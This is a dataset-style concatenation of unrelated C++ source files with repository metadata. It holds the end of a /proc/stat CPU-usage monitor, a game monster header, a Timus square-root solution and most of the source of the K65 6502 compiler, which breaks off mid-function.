if(totalIoWaitTime != 0) curCPUInfo.add_ioUtilization((float) totalIoWaitTime*100/totalDeltaTime); if(totalIdleTime != 0) curCPUInfo.add_cpuUtilization(100 - ((float) totalIdleTime*100/ totalDeltaTime)); else curCPUInfo.add_cpuUtilization(100); break; } return; } void cpu::prepareBuffer() { // clean up old data if (this->_prevFlatBuffer != NULL) delete this->_prevFlatBuffer; // prepare new buffer this->_prevFlatBuffer = this->_curFlatBuffer; this->_curFlatBuffer = new FlatBufferBuilder (); this->_list.clear (); } void cpu::finishBuffer() { // finish the buffer auto mloc = CreatecpuInfoList(*this->_curFlatBuffer, this->_curFlatBuffer->CreateVector(this->_list)); FinishcpuInfoListBuffer(*this->_curFlatBuffer, mloc); } void cpu::refresh() { // check CPU number if(this->_totalCPUCount <= 0) return; // clean up old data this->prepareBuffer(); // gathering every CPU this->gatherCPUsInfo(); // finish the buffer this->finishBuffer (); return; } const uint8_t* cpu::getData() { return this->_curFlatBuffer->GetBufferPointer(); } const uoffset_t cpu::getSize() { return this->_curFlatBuffer->GetSize(); } void cpu::refreshGlobal() { // prepare scanf pattern char curPattern[PATTERNSIZE]; memset(curPattern, 0, PATTERNSIZE); strncpy(curPattern, CPU_GLOBAL_PATTERN, PATTERNSIZE); // open /proc/stat FILE *statFile = fopen(SYS_PROC_FILE, "r"); if(!statFile) return; // extract information unsigned long usertime = 0; unsigned long nicetime = 0; unsigned long systemtime = 0; unsigned long idletime = 0; unsigned long iowaittime = 0; unsigned long irqtime = 0; unsigned long softirqtime = 0; // get total CPU usage int flag = fscanf( statFile, curPattern , &usertime, &nicetime, &systemtime, &idletime, &iowaittime, &irqtime, &softirqtime); // close file fclose(statFile); // validate if (flag != 7) return; // get CPU time unsigned long cputime = usertime + nicetime + systemtime + idletime + iowaittime + irqtime + softirqtime; // calculate utilization unsigned long totalDeltaTime = cputime - this->_prevCPUTime; unsigned long totalIdleTime = idletime - this->_prevCPUIdleTime; if(totalIdleTime != 0) this->_totalCPUUtilization = 100 - ((float) totalIdleTime*100/ totalDeltaTime); else this->_totalCPUUtilization = 100; // save data this->_prevCPUTime = cputime; this->_prevCPUIdleTime = idletime; this->_totalCPUTime = totalDeltaTime; this->_totalCPUIdleTime = totalIdleTime; } float cpu::getCPUUtilization() { return (this->_totalCPUUtilization); } unsigned long cpu::getCPUTime() { return (this->_totalCPUTime); } } } } }
e3325eef59c4b5d06959ab5bfc4812b20fd41e84
747e2d79f77c64094de69df9128a4943c170d171
/Logic/Object/NPCs/Monster/Slime.h
4909f1595bee70f307c3a8d8b3d4293ee0a76e73
[ "MIT" ]
permissive
Teles1/LuniaAsio
8854b6d59e5b2622dec8eb0d74c4e4a6cafc76a1
62e404442cdb6e5523fc6e7a5b0f64a4471180ed
refs/heads/main
2023-06-14T00:39:11.740469
2021-07-05T23:29:44
2021-07-05T23:29:44
383,286,395
0
0
MIT
2021-07-05T23:29:45
2021-07-05T23:26:46
C++
UHC
C++
false
false
577
h
Slime.h
#include "../../NonPlayer.h" namespace Lunia { namespace XRated { namespace Logic { class SlimeBoss : public NonPlayer { protected : int hitCnt; ///< 필살기시에 힛트수가 일정수가 넘어가면 필살기 실패를 위해서. bool bSplitted; public : SlimeBoss(); virtual ~SlimeBoss() {} virtual bool DoDamage(Object* who, uint32 creatorActionHash, float minDmg, float maxDmg, float damage, Constants::DamageType dmgType, uint32 stateID, Constants::AttackStateType attackType, unsigned int& sFlag); public : virtual void FightUpdate(); }; } } }
c2f206f421986968828ef84188af8ed41c1bb955
fdf4347684d8b2751454f7630478ddd2ed5d09d6
/timus1001.cpp
1d74ab08285c67716cd376f07c108ae98457d6af
[]
no_license
SajibTalukder2k16/All_Problems_which_i_have_solved
1e66f85bb3cd664a448e61fe309ec5b4959c79c9
9d0c2a34d5f05519b520d47de9ac915a07e64e02
refs/heads/master
2020-04-22T13:02:00.232634
2020-02-01T10:43:53
2020-02-01T10:43:53
170,394,511
0
0
null
null
null
null
UTF-8
C++
false
false
445
cpp
timus1001.cpp
#include<bits/stdc++.h> using namespace std; #define llu unsigned long long int double root_ara[(256*1024)/(2*8)]; int main() { llu a; double root; int i=0; while(scanf("%llu",&a)!=EOF) { ///cin>>a; root=(double)sqrt(a*1.0); root_ara[i++]=root; ///printf("%.4f\n",root); ///cout<<root<<endl; cout<<i<<endl; } for(i=i-1;i>=0;i--) printf("%.4f\n",root_ara[i]); }
6ff443ce837f430a6c55694a3f424f93807ce716
1219c3e28a02005e2fbada750720422c3023d2bd
/src/compiler_src.cpp
71947e893c72cf3d2767a67a94aac687bdf45359
[]
no_license
Krzysiek-K/k65
3d2384fa4dd07d81bd1cbdc100d8ed4e8bb72a4a
920a4e40e853c4cb563302f3c88d81ba4687c4ed
refs/heads/master
2022-05-07T10:40:34.423539
2022-03-21T11:35:12
2022-03-21T11:35:12
219,321,467
8
10
null
2022-03-21T12:28:56
2019-11-03T15:24:19
C++
UTF-8
C++
false
false
31,467
cpp
compiler_src.cpp
#include "stdafx.h" #include "common.h" Compiler cmp; //static const char *REGS[] = { //"$0x0", //"VSYNC", // $00 0000 00x0 Vertical Sync Set-Clear //"VBLANK", // $01 xx00 00x0 Vertical Blank Set-Clear //"WSYNC", // $02 ---- ---- Wait for Horizontal Blank //"RSYNC", // $03 ---- ---- Reset Horizontal Sync Counter //"NUSIZ0", // $04 00xx 0xxx Number-Size player/missle 0 //"NUSIZ1", // $05 00xx 0xxx Number-Size player/missle 1 //"COLUP0", // $06 xxxx xxx0 Color-Luminance Player 0 //"COLUP1", // $07 xxxx xxx0 Color-Luminance Player 1 //"COLUPF", // $08 xxxx xxx0 Color-Luminance Playfield //"COLUBK", // $09 xxxx xxx0 Color-Luminance Background //"CTRLPF", // $0A 00xx 0xxx Control Playfield, Ball, Collisions //"REFP0", // $0B 0000 x000 Reflection Player 0 //"REFP1", // $0C 0000 x000 Reflection Player 1 //"PF0", // $0D xxxx 0000 Playfield Register Byte 0 //"PF1", // $0E xxxx xxxx Playfield Register Byte 1 //"PF2", // $0F xxxx xxxx Playfield Register Byte 2 //"RESP0", // $10 ---- ---- Reset Player 0 //"RESP1", // $11 ---- ---- Reset Player 1 //"RESM0", // $12 ---- ---- Reset Missle 0 //"RESM1", // $13 ---- ---- Reset Missle 1 //"RESBL", // $14 ---- ---- Reset Ball //"AUDC0", // $15 0000 xxxx Audio Control 0 //"AUDC1", // $16 0000 xxxx Audio Control 1 //"AUDF0", // $17 000x xxxx Audio Frequency 0 //"AUDF1", // $18 000x xxxx Audio Frequency 1 //"AUDV0", // $19 0000 xxxx Audio Volume 0 //"AUDV1", // $1A 0000 xxxx Audio Volume 1 //"GRP0", // $1B xxxx xxxx Graphics Register Player 0 //"GRP1", // $1C xxxx xxxx Graphics Register Player 1 //"ENAM0", // $1D 0000 00x0 Graphics Enable Missle 0 //"ENAM1", // $1E 0000 00x0 Graphics Enable Missle 1 //"ENABL", // $1F 0000 00x0 Graphics Enable Ball //"HMP0", // $20 xxxx 0000 Horizontal Motion Player 0 //"HMP1", // $21 xxxx 0000 Horizontal Motion Player 1 //"HMM0", // $22 xxxx 0000 Horizontal Motion Missle 0 //"HMM1", // $23 xxxx 0000 Horizontal Motion Missle 1 //"HMBL", // $24 xxxx 0000 Horizontal Motion Ball //"VDELP0", // $25 0000 000x Vertical Delay Player 0 //"VDELP1", // $26 0000 000x Vertical Delay Player 1 //"VDELBL", // $27 0000 000x Vertical Delay Ball //"RESMP0", // $28 0000 00x0 Reset Missle 0 to Player 0 //"RESMP1", // $29 0000 00x0 Reset Missle 1 to Player 1 //"HMOVE", // $2A ---- ---- Apply Horizontal Motion //"HMCLR", // $2B ---- ---- Clear Horizontal Move Registers //"CXCLR", // $2C ---- ---- Clear Collision Latches // //"$0x0", //"CXM0P", // $00 xx00 0000 Read Collision M0-P1 M0-P0 //"CXM1P", // $01 xx00 0000 M1-P0 M1-P1 //"CXP0FB", // $02 xx00 0000 P0-PF P0-BL //"CXP1FB", // $03 xx00 0000 P1-PF P1-BL //"CXM0FB", // $04 xx00 0000 M0-PF M0-BL //"CXM1FB", // $05 xx00 0000 M1-PF M1-BL //"CXBLPF", // $06 x000 0000 BL-PF ----- //"CXPPMM", // $07 xx00 0000 P0-P1 M0-M1 //"INPT0", // $08 x000 0000 Read Pot Port 0 //"INPT1", // $09 x000 0000 Read Pot Port 1 //"INPT2", // $0A x000 0000 Read Pot Port 2 //"INPT3", // $0B x000 0000 Read Pot Port 3 //"INPT4", // $0C x000 0000 Read Input (Trigger) 0 //"INPT5", // $0D x000 0000 Read Input (Trigger) 1 // //"$0x280", //"SWCHA", // $280 Port A data register for joysticks: // // Bits 4-7 for player 1. Bits 0-3 for player 2. // //"SWACNT", // $281 Port A data direction register (DDR) //"SWCHB", // $282 Port B data (console switches) //"SWBCNT", // $283 Port B DDR //"INTIM", // $284 Timer output // //"TIMINT", // $285 // //"$0x294", //"TIM1T", // $294 set 1 clock interval //"TIM8T", // $295 set 8 clock interval //"TIM64T", // $296 set 64 clock interval //"T1024T", // $297 set 1024 clock interval //NULL //}; struct AddrMode { int mode; const char *op; int bytes; int lda, sta, ldx, stx, ldy, sty; int c10, idc; int bit, cpx; // ari == lda }; static AddrMode ADDRMODES[] = { // len LDA STA LDX STX LDY STY 10 IDC BIT CPX {AM_NONE, "?"}, {AM_ACC, "A" ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,1 ,0 ,0 ,0 }, {AM_X, "X"}, {AM_Y, "Y"}, {AM_S, "S"}, {AM_VAR, "v" ,-1 ,1 ,1 ,1 ,1 ,1 ,1 ,1 ,1 ,1 ,1 }, {AM_IMM, "#$h" ,1 ,1 ,0 ,1 ,0 ,1 ,0 ,0 ,0 ,0 ,1 }, {AM_OFS_LO, "#<(v)" ,1 ,1 ,0 ,1 ,0 ,1 ,0 ,0 ,0 ,0 ,1 }, {AM_OFS_HI, "#>(v)" ,1 ,1 ,0 ,1 ,0 ,1 ,0 ,0 ,0 ,0 ,1 }, {AM_VAR_X, "v,X" ,-1 ,1 ,1 ,0 ,0 ,1 ,1 ,1 ,1 ,0 ,0 }, {AM_VAR_Y, "v,Y" ,-1 ,1 ,1 ,1 ,1 ,0 ,0 ,0 ,0 ,0 ,0 }, {AM_IND, "(v)" }, {AM_IND_X, "(v,X)" ,1 ,1 ,1 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 }, {AM_IND_Y, "(v),Y" ,1 ,1 ,1 ,0 ,0 ,0 ,0 ,0 ,0 ,0 ,0 }, {0,NULL} }; template<class T> void append(vector<T> &dst,const vector<T> &src) { dst.insert(dst.end(),src.begin(),src.end()); } static bool _isnumber(const string &str) { const char *s = str.c_str(); if(*s=='-') s++; return (*s>='0' && *s<='9'); } string Compiler::arg(int mode,const string &arg) { return format("%c%s",mode+'a',arg.c_str()); } string Compiler::argto(int mode,const string &arg) { string tmp = arg; if(tmp.size()<0) Error(format("Empty string does not represent valid memory location")); if(tmp[0]!=(AM_VAR+'a')) Error(format("String '%s' does not represent valid memory location",tmp.c_str()+1)); tmp[0] = mode+'a'; return tmp; } string Compiler::argaddr(const string &arg) { if(arg.size()<0) Error(format("Empty string does not represent valid memory location")); if(arg[0]!=(AM_VAR+'a')) Error(format("String '%s' does not represent valid memory location",arg.c_str()+1)); return arg.c_str()+1; } int Compiler::ident2value(const string &var,bool &found,Var **pvar) { if( _isnumber(var) ) { found = true; if(pvar) *pvar = NULL; return getnum(var.c_str()); } Var *v = find_var(var,true); if(pvar) *pvar = v; // if(!v) Error(format("Unknown variable '%s'",var.c_str())); if(v->type==VT_CONST) { if(!v->has_value) Error(format("Constant '%s' doesn't have value assigned",var.c_str())); found = true; return v->value; } else if(v->type==VT_EVAL_VAR) { if(!v->has_value) Error(format("Variale '%s' doesn't have value assigned",var.c_str())); if(v->value_eval.type!=ET_NUMBER) Error(format("Variale '%s' is not a number",var.c_str())); found = true; return int(floor(v->value_eval.value_f+.5f)); } found = false; return INVALID_VALUE; } int Compiler::ident2value(const string &var) { bool found = false; int val = ident2value(var,found,NULL); if(!found) Error(format("Identifier '%s' is of unknown or invalid type and can't be used as here",var.c_str())); return val; } string Compiler::ident2arg(const string &var,const string &offs,bool negate_offs) { int offset_value = ident2value(offs); if(negate_offs) offset_value = -offset_value; bool found = false; Var *v = NULL; int imm = ident2value(var,found,&v); if(found) return arg(AM_IMM,format("%d",imm+offset_value)); if(offset_value>0) return arg(AM_VAR,format("%s+%d",var.c_str(), offset_value)); if(offset_value<0) return arg(AM_VAR,format("%s-%d",var.c_str(),-offset_value)); return arg(AM_VAR,var.c_str()); } int Compiler::getnum(const char *s) { int base = 10; int v = 0; int sign = 1; const char *b = s; if(*s=='-') s++, sign=-1; if(*s=='0' && s[1]) { s++; if(*s=='x') base=16, s++; else if(*s=='b') base=2, s++; else Error(format("String '%s' is not a number (invalid base)",b).c_str()); } while(*s) { int d=-1; if(*s>='0' && *s<='9') d = *s - '0'; else if(*s>='a' && *s<='z') d = *s - 'a' + 10; else if(*s>='A' && *s<='Z') d = *s - 'A' + 10; else Error(format("String '%s' is not a number (invalid character)",b).c_str()); if(d>=base) Error(format("String '%s' is not a number (digit exceeds base)",b).c_str()); v = v*base + d; s++; } return v*sign; } int Compiler::getvar(const char *s,int &offs,bool is_label) { const char *b = s; for(;*s;s++) { if(*s>='0' && *s<='9') continue; if(*s>='a' && *s<='z') continue; if(*s>='A' && *s<='Z') continue; if(*s=='_') continue; break; } string vn(b,s); Var *v = find_var(vn,false); if(!v && is_label) v = find_var(vn,true); if(!v) Error(format("Undeclared variable '%s'",vn.c_str()).c_str()); offs = 0; if(*s=='-') offs=-getnum(s+1); else if(*s=='+') offs= getnum(s+1); else if(!*s) {} else Error(format("Expression '%s' can't be used as variable address",b).c_str()); int id = v - &vars[0]; return id; } const EvalAny &Compiler::getevalvar(const char *s) { Var *v = find_var(s,false); if(!v) Error(format("Undeclared eval variable '%s'",s)); switch(v->type) { case VT_CONST: if(!v->has_value) Error(format("Variable '%s' doesn't have any value assigned",s)); v->value_eval.SetF(v->value); return v->value_eval; case VT_EVAL_VAR: if(!v->has_value) Error(format("Variable '%s' doesn't have any value assigned",s)); return v->value_eval; case VT_LABEL: // section case VT_IMAGE: // section case VT_BINARY: // section { AsmSection *sec = state.FindSection(v->name.c_str()); if(!sec) Error(format("Label '%s' doesn't represent a compiled section",s)); v->value_eval.type = ET_SECTION; v->value_eval.value_i = state.GetSectionId(sec); if(v->value_eval.value_i==-1) Error(format("Label '%s' doesn't represent a compiled section",s)); return v->value_eval; } default: Error(format("Incorrect type of eval variable '%s'",s)); } Error("[internal] Unknown variable type"); static EvalAny a; return a; } void Compiler::setevalvar(const char *s,const EvalAny &val) { Var *v = find_var(s,true); if(v->type==VT_UNKNOWN) v->type=VT_EVAL_VAR; if(v->type!=VT_CONST && v->type!=VT_EVAL_VAR) Error(format("Incorrect type of eval variable '%s'",s)); if(v->type==VT_CONST) Error(format("Can't assign value to const '%s'",s)); v->has_value = true; v->value_eval = val; } Compiler::Arg Compiler::getarg(const char *s) { Arg a; a.mode = *s ? *s++ - 'a' : AM_NONE; a.var_id = -1; a.value = 0; switch(a.mode) { case AM_VAR: a.var_id = getvar(s,a.value,false); if(vars[a.var_id].type == VT_CONST) { if(vars[a.var_id].has_value) a.value += vars[a.var_id].value; a.mode = AM_IMM; } else if(vars[a.var_id].type == VT_EVAL_VAR) { if(vars[a.var_id].has_value) { Var &v = vars[a.var_id]; if(v.value_eval.type!=ET_NUMBER) Error(format("Variable '%s' is not a number",v.name.c_str())); a.value += int(floor(v.value_eval.value_f+.5f)); } a.mode = AM_IMM; } break; case AM_VAR_X: case AM_VAR_Y: case AM_IND: case AM_IND_X: case AM_IND_Y: case AM_OFS_LO: case AM_OFS_HI: a.var_id = getvar(s,a.value,true); if(vars[a.var_id].type == VT_CONST) Error("Constant used as variable"); if(vars[a.var_id].type == VT_EVAL_VAR) Error("Compile-time variable used as code variable"); break; case AM_IMM: a.value = getnum(s); break; } return a; } string Compiler::doeval(const string &s,bool needs_value) { int v = 0; Evaluator ev; Eval_Precompile(ev,s.c_str()); v = int(floor(Eval_Exec(ev,needs_value)+.5f)); return format("%d",v); } void Compiler::settmpeval(const string &s) { Eval_Precompile(tmp_eval,s.c_str()); } string Compiler::dotmpeval(bool needs_value) { int v = int(floor(Eval_Exec(tmp_eval,needs_value)+.5f)); return format("%d",v); } Compiler::Var *Compiler::find_var(const string &name,bool allow_create) { for(int i=0;i<(int)vars.size();i++) if(vars[i].name==name) return &vars[i]; if(!allow_create) return NULL; Var v; v.name = name; vars.push_back(v); return &vars[vars.size()-1]; } void Compiler::var(const string &name,const string &addr,bool is_const,int size,bool verbose) { Var *v = find_var(name,true); if(v->type!=VT_UNKNOWN || v->has_value || v->size) Error(format("Symbol '%s' redeclared",name.c_str()).c_str()); v->name = name; v->size = size; if(addr.size()>0) { v->value = getnum(addr.c_str()); v->has_value = true; } else if(!is_const) { // allocate right after previous var v->value = var_addr; v->has_value = true; } v->type = is_const ? VT_CONST : VT_VAR; if(v->type==VT_VAR && v->has_value) { state.AddLabel(v->name.c_str(), v->value, code, false, this); var_addr = v->value + v->size; } if(verbose && !is_const && v->has_value) if(v->size==1) printf("Variable '%s' located at $%02X\n",v->name.c_str(),v->value); else printf("Variable '%s' located at $%02X..$%02X\n",v->name.c_str(),v->value,v->value+v->size-1); } void Compiler::init_section(const string &name) { charset.clear(); evaluator.Clear(); code = state.CreateSection(); code->Clear(); code->name = name; code->bank_list.push_back( cur_bank ); } void Compiler::datavalue(const string &v) { int n = getnum(v.c_str()); if(evaluator.IsReady()) { setevalvar("x",n); n = int(Eval_Exec(evaluator,true))&0xFF; } if( !code ) Error("[internal] No active section"); code->Assemble(format(" .byte #$%02X",n)); } void Compiler::datastr(const string &v) { if(v.size()<2 || v[0]!='"' || v[v.size()-1]!='"') Error("Bad string"); string tmp; for(int i=1;i<(int)v.size()-1;i++) { int ch = 0; for(int j=0;j<(int)charset.size();j++) if(charset[j]==v[i]) { ch = j; break; } if(evaluator.IsReady()) { setevalvar("x",ch); ch = int(Eval_Exec(evaluator,true))&0xFF; } if( !code ) Error("[internal] No active section"); code->Assemble(format(" .byte #$%02X",ch)); } } void Compiler::addop(const char *s,const Arg &a) { string cmd = " "; while(*s) { if(*s=='v') { if(a.var_id<0) Error("[internal] Missing variable"); cmd += vars[a.var_id].name; if(a.value!=0) cmd += format("%+d",a.value); } else if(*s=='h') cmd += format("%02X",a.value); else if(*s=='?') {} else cmd.push_back(*s); s++; } try { if( !code ) Error("[internal] No active section"); code->Assemble(cmd); } catch(const char *e) { Error(string(e)); } } void Compiler::opsimp(const string &cmd) { if( !code ) Error("[internal] No active section"); code->Assemble(format(" %s",cmd.c_str())); } void Compiler::opnop(int wait) { if(wait<0) Error(format("Negative wait value %d",wait).c_str()); if(wait==1) Error("1-cycle NOP is not realizable"); if(wait>256) Error(format("Wait value %d is more than 256",wait).c_str()); if(wait&1) opsimp("NOP $80"), wait-=3; while(wait>0) opsimp("NOP"), wait -= 2; } void Compiler::opunary(const string &cmd,const Arg &a) { if(cmd=="INC" && a.mode==AM_X) { opsimp("INX"); return; } if(cmd=="DEC" && a.mode==AM_X) { opsimp("DEX"); return; } if(cmd=="INC" && a.mode==AM_Y) { opsimp("INY"); return; } if(cmd=="DEC" && a.mode==AM_Y) { opsimp("DEY"); return; } int flag = (cmd=="INC" || cmd=="DEC") ? ADDRMODES[a.mode].idc : ADDRMODES[a.mode].c10; // if(!flag) // Error(format("Unary operation %s doesn't work in mode %s",cmd.c_str(),ADDRMODES[a.mode].op).c_str()); string tmp = cmd; if(a.mode!=AM_ACC) { tmp += " "; tmp += ADDRMODES[a.mode].op; } addop(tmp.c_str(),a); } void Compiler::opunary(const string &cmd,const string &arg) { Arg a=getarg(arg.c_str()); opunary(cmd,a); } void Compiler::oparith(const string &_cmd,const string &arg,char acc) { Arg a=getarg(arg.c_str()); string cmd = _cmd; if(acc=='X' || acc=='Y') { if(cmd=="CMP") cmd = (acc=='X') ? "CPX" : "CPY"; else Error("The only accumulator op compatible with X/Y is comparison"); } int flag = ADDRMODES[a.mode].lda; if(cmd=="CPX" || cmd=="CPY") flag = ADDRMODES[a.mode].cpx; if(cmd=="BIT") flag = ADDRMODES[a.mode].bit; // if(!flag) // Error(format("Arith operation %s doesn't work in mode %s",cmd.c_str(),ADDRMODES[a.mode].op).c_str()); string tmp = cmd; if(a.mode!=AM_ACC) { tmp += " "; tmp += ADDRMODES[a.mode].op; } addop(tmp.c_str(),a); } void Compiler::opmov(const Arg &da,const Arg &sa) { const char *s = movmap[da.mode][sa.mode].c_str(); if(!*s) Error(format("No opcode for data mov: %s <- %s",ADDRMODES[da.mode].op,ADDRMODES[sa.mode].op).c_str()); Arg a; if(*s=='L') a=sa; else a=da; addop(s,a); } void Compiler::opmov(const string &dst,const string &src) { Arg da=getarg(dst.c_str()); Arg sa=getarg(src.c_str()); opmov(da,sa); } void Compiler::opmov3(const string &a1,const string &a2,const string &a3) { Arg aa1=getarg(a1.c_str()); Arg aa2=getarg(a2.c_str()); if( (aa1.mode==AM_ACC && aa2.mode==AM_X) || (aa1.mode==AM_X && aa2.mode==AM_ACC) ) { // LAX opunary("LAX",a3); return; } opmov(a2,a3); opmov(a1,a2); } void Compiler::opmovseq(const string &movseq) { const char *s = movseq.c_str(); Arg src = getarg(ParseString(s).c_str()); Arg dst1 = getarg(ParseString(s).c_str()); Arg dst2 = getarg(ParseString(s).c_str()); while(dst1.mode!=AM_NONE) { // check for LAX if( (dst1.mode==AM_ACC && dst2.mode==AM_X ) || (dst1.mode==AM_X && dst2.mode==AM_ACC) ) { opunary("LAX",src); // use X for next transfers src = (dst1.mode==AM_X) ? dst1 : dst2; // shift in 2 destinations dst1 = getarg(ParseString(s).c_str()); dst2 = getarg(ParseString(s).c_str()); continue; } // single MOV opmov(dst1,src); switch(dst1.mode) { case AM_IMM: if(src.mode==AM_Y) break; // better source already present case AM_Y: if(src.mode==AM_ACC) break; // better source already present case AM_ACC: if(src.mode==AM_X) break; // better source already present case AM_X: src = dst1; } dst1 = dst2; dst2 = getarg(ParseString(s).c_str()); } } string Compiler::invert_branch(const string &cmd) { if(cmd=="BCS") return "BCC"; else if(cmd=="BCC") return "BCS"; else if(cmd=="BEQ") return "BNE"; else if(cmd=="BNE") return "BEQ"; else if(cmd=="BMI") return "BPL"; else if(cmd=="BPL") return "BMI"; else if(cmd=="BVS") return "BVC"; else if(cmd=="BVC") return "BVS"; else Error(format("Branch instruction %s can't be inverted",cmd.c_str()).c_str()); return "???"; } void Compiler::opbranch(const string &cmd,const string &lab) { if( !code ) Error("[internal] No active section"); code->Assemble(format(" %-8s%s",cmd.c_str(),lab.c_str())); } void Compiler::opbranch_repeat(const string &cmd,const string &lab,AsmSection::Location loc) { if( !code ) Error("[internal] No active section"); code->AssembleInsert(format(" %-8s%s",cmd.c_str(),lab.c_str()),loc); } void Compiler::oplabel(const string &lab) { Var *v = find_var(lab,true); if(v->type!=VT_UNKNOWN || v->has_value || v->size) Error(format("Label name '%s' already in use",lab.c_str())); v->type=VT_LABEL; if( !code ) Error("[internal] No active section"); code->Assemble(lab); } string Compiler::genlabel() { return format("__label_%d",label_id_gen++); } void Compiler::opend() { if(comms.size()<=0) return; if( code ) { //if(code.size()<=0 || code.back().c_str()[0]!=';') // code.Assemble(""); for( int i=0; i<(int)comms.size(); i++ ) code->Assemble(comms[i]); } comms.clear(); } void Compiler::op_delayed_repeat(const string &cmd) { if( !code ) Error("[internal] No active section"); Repeat rep; rep.op = cmd; rep.loc = code->GetLocation(); rep.line = line; delayed_repeats.push_back(rep); } void Compiler::check_loop_jumps() { if(break_labels.size()>0) { const char *s = break_labels[0].c_str(); ParseString(s); ParseWhitespace(s); if(!*s) s="???"; Error(format("'break' outside loop in line %s",s).c_str()); } break_labels.clear(); if(delayed_repeats.size()>0) Error(format("'repeat' outside loop in line %d",delayed_repeats[0].line).c_str()); delayed_repeats.clear(); } void Compiler::flush_loop_jumps(const string &br2_multi_data) { const char *s = br2_multi_data.c_str(); string loop_start = ParseString(s); int break_depth = ParseInt(s); int repeat_depth = ParseInt(s); while((int)break_labels.size()>break_depth) { const char *s = break_labels.back().c_str(); oplabel(ParseString(s).c_str()); break_labels.pop_back(); } while((int)delayed_repeats.size()>repeat_depth) { const Repeat &rep = delayed_repeats.back(); opbranch_repeat(rep.op,loop_start,rep.loc); delayed_repeats.pop_back(); } } void Compiler::makesection(const string &name,const string &type) { if( !code ) Error("[internal] No active section"); check_loop_jumps(); code->name = name; code->type = type; if( code->type=="inline" ) { if( code->big_align_step ) Error(format("Inline section '%s' can't have alignment restrictions", name.c_str()).c_str()); for( int i=0; i<256; i++ ) if( !code->alignments[i] ) Error(format("Inline section '%s' can't have alignment restrictions", name.c_str()).c_str()); } Var *v = find_var(name,true); if(v->type==VT_UNKNOWN) v->type = VT_RESERVED; code = NULL; local_index++; } void Compiler::makeimagesection(const string &name,string path) { if( !code ) Error("[internal] No active section"); if(path.size()>=2 && path[0]=='"' && path[path.size()-1]=='"') { path.erase(path.end()-1); path.erase(path.begin()); } code->name = name; code->type = "image"; code->bank_list.clear(); img.Load(path.c_str()); code->raw_table = img.data; code->img_width = img.w; code->img_height = img.h; Var *v = find_var(name,true); if(v->type!=VT_UNKNOWN || v->has_value || v->size) Error(format("Image identifier '%s' already in use",name.c_str())); v->type = VT_IMAGE; } void Compiler::makebinarysection(const string &name, string path) { if( !code ) Error("[internal] No active section"); if( path.size()>=2 && path[0]=='"' && path[path.size()-1]=='"' ) { path.erase(path.end()-1); path.erase(path.begin()); } code->name = name; code->type = "binary"; static vector<uint8_t> data; if( !NFS.GetFileBytes(path.c_str(), data) ) Error(format("Can't open file: %s", path.c_str())); code->raw_table.resize(data.size()); for( int i=0; i<(int)data.size(); i++ ) code->raw_table[i] = data[i]; code->img_width = data.size(); code->img_height = 1; Var *v = find_var(name, true); if( v->type!=VT_UNKNOWN || v->has_value || v->size ) Error(format("Section identifier '%s' already in use", name.c_str())); v->type = VT_BINARY; } void Compiler::setalign(int a,int offs) { if( !code ) Error("[internal] No active section"); switch( a ) { case 1: case 2: case 4: case 8: case 16: case 32: case 64: case 128: case 256: if( offs<0 || offs>=a ) Error("Alignment offset can't exceed alignment value"); for( int i=0; i<256; i++ ) if( i%a!=offs ) code->alignments[i] = false; break; case 1<<9: case 1<<10: case 1<<11: case 1<<12: case 1<<13: case 1<<14: case 1<<15: case 1<<16: if( offs<0 || offs>=a ) Error("Alignment offset can't exceed alignment value"); code->big_align_step = a; code->big_align_offset = offs; break; default: Error("Alignment must be power of 2 from 1..65536 range"); } } void Compiler::setaddress(int addr) { if( !code ) Error("[internal] No active section"); code->fixed_address = addr; } void Compiler::dofunction(const string &id, bool farcall) { const char *pid = id.c_str(); int mode = *pid ? *pid++ - 'a' : AM_NONE; if(mode==AM_IMM && !farcall) return; // drop immediate value "call" if(mode!=AM_VAR) Error("Invalid operation"); if( !code ) Error("[internal] No active section"); AsmSection *as = state.FindSection(pid); if( !as ) Error(format("No function named '%s'",pid).c_str()); if(as->type=="inline") { if(farcall) Error("Inline functions shouldn't use far prefix"); code->Inline( *as ); } else if(as->type=="func") { if( farcall ) { sqlink.InvokeFarCall( *code, *as, *this ); } else { if(as->bank_list.size()!=1) Error("[internal] Call must target function in exactly one bank"); if(as->bank_list[0]!=cur_bank) Error(format("Function '%s' is not in the same bank (use far call)",pid).c_str()); code->Assemble( format(" JSR %s",as->name.c_str()).c_str() ); } } else Error(format("Function '%s' is not inline",pid).c_str()); } void Compiler::dofarjump(const string &id) { const char *pid = id.c_str(); int mode = *pid ? *pid++ - 'a' : AM_NONE; if( mode!=AM_VAR ) Error("Invalid operation"); if( !code ) Error("[internal] No active section"); sqlink.InvokeFarJump(*code, pid, *this); } void Compiler::pulltile() { img.NextTile(); for(int i=0;i<img.img_len;i++) datavalue(format("%d",img.GetRow()&0xFF)); } void Compiler::loadbinary(const char *path) { if( !NFS.GetFileBytes(path, binary) ) Error(format("Can't open file: %s", path)); } void Compiler::pullbinary() { for( int i=0; i<(int)binary.size(); i++ ) datavalue(format("%d", binary[i])); } void Compiler::pp_if(bool result) { preproc_state_stack.push_back(preproc_state); if(result) preproc_state = PREPROC_IF_TAKEN, parser_enabled.push(true); else preproc_state = PREPROC_IF_NOT_TAKEN, parser_enabled.push(false); } void Compiler::pp_else() { switch(preproc_state) { case PREPROC_ELIF_DO_NOT_TAKE: case PREPROC_IF_TAKEN: if(!parser_enabled.set_top(false)) Error("#else without matching #if"); preproc_state = PREPROC_ELSE_NOT_TAKEN; break; case PREPROC_IF_NOT_TAKEN: if(!parser_enabled.set_top(true)) Error("#else without matching #if"); preproc_state = PREPROC_ELSE_TAKEN; break; default: Error("#else without matching #if"); break; } } void Compiler::pp_elif(bool result) { switch(preproc_state) { case PREPROC_IF_TAKEN: case PREPROC_ELIF_DO_NOT_TAKE: if(!parser_enabled.set_top(false)) Error("#elif without matching #if"); preproc_state = PREPROC_ELIF_DO_NOT_TAKE; // don't take any further blocks break; case PREPROC_IF_NOT_TAKEN: if(!parser_enabled.set_top(result)) Error("#elif without matching #if"); preproc_state = result ? PREPROC_ELIF_DO_NOT_TAKE : PREPROC_IF_NOT_TAKEN; break; default: Error("#elif without matching #if"); break; } } void Compiler::pp_endif() { switch(preproc_state) { case PREPROC_IF_TAKEN: case PREPROC_IF_NOT_TAKEN: case PREPROC_ELSE_NOT_TAKEN: case PREPROC_ELSE_TAKEN: // OK break; default: Error("#endif without matching #if"); break; } if( !parser_enabled.pop() || preproc_state_stack.size()<1 ) Error("#endif without matching #if"); preproc_state = 